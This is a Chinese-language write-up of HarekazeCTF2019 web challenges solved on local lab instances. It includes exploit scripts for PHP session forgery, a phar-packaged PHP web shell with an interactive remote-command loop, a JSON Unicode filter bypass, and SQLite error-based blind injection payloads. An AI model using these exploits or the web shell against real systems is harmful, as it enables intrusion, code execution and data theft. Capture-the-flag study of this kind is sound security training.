HarekazeCTF2019 web 部分题解

在 buuoj 上看到的这个比赛题目,期间平台关了,就拿了 Dockerfile 本地做了,web 题目感觉还不错

encode_and_encode [100]

  • 打开靶机,前两个页面都是 html 页面,第三个给了页面源码

  • 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);
  • file_get_contents('php://input') 获取 post 的数据,json_decode($body, true) 用 json 格式解码 post 的数据,然后 is_valid($body) 对 post 数据检验,大概输入的格式如下

  • is_valid($body) 对 post 数据检验,导致无法传输 $banword 中的关键词,也就无法传输 flag,这里在 json 中,可以使用 Unicode 编码绕过,flag 就等于 \u0066\u006c\u0061\u0067

  • 通过检验后,获取 page 对应的文件,并且页面里的内容也要通过 is_valid 检验,然后将文件中 HarekazeCTF{} 替换为 HarekazeCTF{&lt;censored&gt;} ,这样就无法明文读取 flag

  • 这里传入 /\u0066\u006c\u0061\u0067 后,由于 flag 文件中也包含 flag 关键字,所以返回 not found ,这也无法使用 file://

  • file_get_contents 是可以触发 php://filter 的,所以考虑使用伪协议读取,对 php 的过滤使用 Unicode 绕过即可

  • 可以看出,json 在传输时是 Unicode 编码的

Avatar Uploader 1 [100]

  • 给了源码,打开靶机,登录之后,是一个文件上传

  • 首先 config.php 中定义了一些常量

  • 然后在 upload.php 中判断文件大小,并使用 FILEINFO 判断上传图片类型,上传图片只能是 png 类型

  • 后面再用 getimagesize 判断文件像素大小,并且再进行一次类型判断,如果不是 png 类型就给出 flag

  • 在这两种判断上传图片类型的函数中,有一个很有趣的现象, FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以,代码如下

1
2
3
4
5
6
7
<?php
$file = finfo_open(FILEINFO_MIME_TYPE);

var_dump(finfo_file($file, "test"));

$f = getimagesize("test");
var_dump($f[2] === IMAGETYPE_PNG);
  • 结果,16进制文件也在下面

  • 直接上传这个文件就可以获取 flag 了

Easy Notes [200]

  • 给了源码,打开靶机,是一个笔记系统

  • 在登陆处进行了匹配,只允许输入 4 到 64 位规定字符,且不是前端验证

  • 登陆成功后,可以进行增删查和导出为 zip 或 tar 的功能,点击 Get flag 提示不是 admin

  • 既然拿到源码就先看看全局配置 config.php ,就写了一行,定义临时文件目录

1
define('TEMP_DIR', '/var/www/tmp');
  • 进入 page/flag.php 看一下给出 flag 的条件,要满足 is_admin() 函数

  • 跟进 is_admin() 函数,没有发现什么可以利用的地方

  • 看到有个导出功能,它会将添加的 note 导出为 zip,这个文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session

  • session 文件以 sess_ 开头,且只含有 a-zA-Z0-9-

  • 看到 $filename 处可以满足所有的条件

  • 构造 usersess_type. ,经过处理之后,$path 就是 TEMP_DIR/sess_0123456789abcdef 这就伪造了一个 session 文件

  • 然后向这个文件写入 note 的 title

  • php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,这就可以伪造 admin

  • 在最后,它会将构造的 $filename 返回,这样就可以拿到构造出的 admin 的 session 数据

  • 很典型的 session 伪造,session 反序列化

  • 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import re
import requests
URL = 'http://192.168.233.136:9000/'

while True:
# login as sess_
sess = requests.Session()
sess.post(URL + 'login.php', data={
'user': 'sess_'
})

# make a crafted note
sess.post(URL + 'add.php', data={
'title': '|N;admin|b:1;',
'body': 'hello'
})

# make a fake session
r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition']
print(r)

sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0]
print(sessid)

# get the flag
r = requests.get(URL + '?page=flag', cookies={
'PHPSESSID': sessid
}).content.decode('utf-8')
flag = re.findall(r'HarekazeCTF\{.+\}', r)

if len(flag) > 0:
print(flag[0])
break

Avatar Uploader 2 [300]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
if ($session->isset('flash')) {
$flash = $session->get('flash');
$session->unset('flash');
}
$avatar = $session->isset('avatar') ? 'uploads/' . $session->get('avatar') : 'default.png' ;
$session->save();

include('common.css');

include($session->get('theme', 'light') . '.css');

if ($session->isset('name')) {
echo "Hello".$session->get('name')."</br>";
}

if ($flash) {
echo $flash['type']."</br>";
echo $flash['message']."</br>";
}
if ($session->isset('name')) {
echo "Please upload"."</br>";
} else {
echo "Please sign in"."</br>";
}
  • 这里的 session 处理机制是自己写的,在 lib\session.php 中,首先确认的事情是,登录后 HTTP 头部返回的 Cookiesession=******.****** 这种格式的

  • 首先 __construct 中,判断 session 是否存在 $_COOKIE 中,如果存在则以 . 分割 session ,然后对 datasignature 进行 verify 函数认证,认证成功就返回数据的 json_decode 的结果

  • isset 中判断参数 $key 是否在 data 中,get 中返回 datakey 为参数 $key 的数据,set 中将 datakey 为参数 $key 的数据设置为参数 $valueunset 中删除 datakey 为参数 $key 的数据

  • save 中将 data 转化为 json 并进行 urlsafe_base64_encode,再用 signdata 进行签名

  • 这样整个 session.php 就完了,回到 index.php,然后进行的是 flash 的判断,找了一下,在 lib\util.php 中描述了 flash 并且给了调用 flash 函数的条件,即 error 函数,找了一下,errorupload.php 中,上传失败时调用

  • 做的测试如图,flash 将错误信息保存在 session 中的

  • 根据给的提示,password_hash 函数是存在安全隐患的,它的第一个参数不能超过 72 个字符,这个函数在 sign 中被调用,signsave 调用,saveindex.php 中被调用

  • password_hash 函数的漏洞就意味着只对前 72 个字符进行签名,只要前 72 个字符相同,那么就会在校验时通过

  • 那么是不是可以登录一次,然后访问 upload.php 触发 error 函数,这样就能绕过 session 校验,然后对 data 信息进行修改,进而触发其他操作

  • 可以看到,在 index.php 中存在一行代码 include($session->get('theme','light').'.css'); ,session 信息是由我们控制的,那么就可以通过 phar 协议,触发 LFI ,首先要把 phar 文件上传,里面复合一个假的 css 文件,存放一句话,这样就可以在 include 时触发 RCE

  • 生成 phar 代码

1
2
3
4
5
6
7
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
  • 本地对这个 phar 做的一个测试

  • 新登录一个用户,上传这个 phar,记录这个 phar 的地址和名字,然后去 upload.php 触发一次 error ,记录 datasignature ,修改 data ,增加 theme 键,键值为 phar 协议读取上传的文件,然后生成 session 再去访问 index.php 传入命令即可

  • exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64
import json
import re
import requests
import urllib.parse

url = 'http://192.168.233.136:9003/'

def b64decode(s):
return base64.urlsafe_b64decode(s + '=' * (3 - (3 + len(s)) % 4))

sess = requests.Session()
username = b"peri0d".decode()

url_1 = url + 'signin.php'
sess.post(url=url_1, data={'name': username})

url_2 = url + 'upload.php'
f = open('exp.phar', 'rb')
sess.post(url_2, files={'file': ('exp.png', f)})

data = sess.cookies['session'].split('.')[0]
data = json.loads(b64decode(data))
avatar = data['avatar']

url_3 = url + 'upload.php'
sess.get(url_3, allow_redirects=False)
data, sig = sess.cookies['session'].split('.')
data = b64decode(data)
payload = data.replace(b'}}', '}},"theme":"phar://uploads/{}/exp"}}'.format(avatar).encode())
sess.cookies.set('session', base64.b64encode(payload).decode().replace('=', '') + '.' + sig)

while True:
command = input('> ')
c = sess.get(url + '?cmd=' + urllib.parse.quote(command)).content.decode()
result = re.findall(r'/\* light/dark.css \*/(.+)/\*\*/', c, flags=re.DOTALL)[0]
print(result.strip())

Sqlite Voting [350]

  • 打开靶机,看到投票的页面,并且给了源码

  • vote.php 页面 POST 参数 id ,只能为数字。并且在 schema.sql 中发现了 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
DROP TABLE IF EXISTS `vote`;
CREATE TABLE `vote` (
`id` INTEGER PRIMARY KEY AUTOINCREMENT,
`name` TEXT NOT NULL,
`count` INTEGER
);
INSERT INTO `vote` (`name`, `count`) VALUES
('dog', 0),
('cat', 0),
('zebra', 0),
('koala', 0);

DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
`flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');
  • vote.php 中给出了查询的 SQL 语句,但是对参数进行了检测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}
  • UPDATE 成功与失败分别对应了不同的页面,那么是不是可以进行盲注,但是考虑到它过滤了 '" 这就无法使用字符进行判断,char 又被过滤也无法使用 ASCII 码判断

  • 所以可以考虑使用 hex 进行字符判断,将所有的的字符串组合用有限的 36 个字符表示

  • 先考虑对 flag 16 进制长度的判断,假设它的长度为 xy 表示 2 的 n 次方,那么 x&y 就能表现出 x 二进制为 1 的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方

  • 那么如何构造报错语句呢?在 sqlite3 中,abs 函数有一个整数溢出的报错,如果 abs 的参数是 -9223372036854775808 就会报错,同样如果是正数也会报错

  • 判断长度的 payload : abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)

  • 脚本如下,长度 84

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php"
l = 0
for n in range(16):
payload = f'abs(case(length(hex((select(flag)from(flag))))&{1<<n})when(0)then(0)else(0x8000000000000000)end)'
data = {
'id' : payload
}

r = requests.post(url=url, data=data)
print(r.text)
if 'occurred' in r.text:
l = l|1<<n

print(l)

  • 然后考虑逐字符进行判断,但是 is_valid() 过滤了大部分截取字符的函数,而且也无法用 ASCII 码判断

  • 这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# hex(b'zebra') = 7A65627261
# 除去 12567 就是 A ,其余同理
A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'

C = 'trim(hex(typeof(.1)),12567)'

D = 'trim(hex(0xffffffffffffffff),123)'

E = 'trim(hex(0.1),1230)'

F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'

# hex(b'koala') = 6B6F616C61
# 除去 16CF 就是 B
B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C}||{F})'
  • 然后逐字符进行爆破,已经知道 flag 格式为 flag{}hex(b'flag{')==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod

  • 再利用 replace(length(replace(flag,payload,''))),84,'') 这个语句进行判断

  • 如果 flag 不包含 payload ,那么得到的 length 必为 84 ,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错

  • 如果 flag 包含 payload ,那么 replace(flag, payload, '') 将 flag 中的 payload 替换为空,得到的 length 必不为 84 ,最外面的 replace 将返回 true ,通过 case when then else 构造 abs 参数为 0x8000000000000000 令其报错

  • 以上就可以根据报错爆破出 flag,最后附上出题人脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'


l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)


table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

题目总结

  1. json 传输时是 Unicode 编码的,可以使用 Unicode 编码来绕过一个关键词过滤
  2. FILEINFO 可以识别 png 图片( 十六进制下 )的第一行,而 getimagesize 不可以
  3. php 默认的 session 反序列化方式是 php ,其存储方式为 键名+竖线+经过serialize函数序列处理的值 ,默认保存在 /tmp
  4. 上传文件存放的位置在 TEMP_DIR ,和 session 信息保存在同一个位置,那么是不是可以考虑伪造 session
  5. password_hash 函数只对第一个参数的前 72 个字符有效
  6. phar 是一系列文件的集合,通过 addFromString(filename, file_content) 写入信息,那么通过 phar://test.phar/filename 自然可以读取到,通常文件上传多可以考虑 phar
  7. sqlite3 盲注 bypass ,利用 replace() 和 length 进行爆破,trim() 替换空字符,trim() 和 hex() 构造字符,& 特性获取长度等等,在 mysql 中也存在溢出的现象

参考链接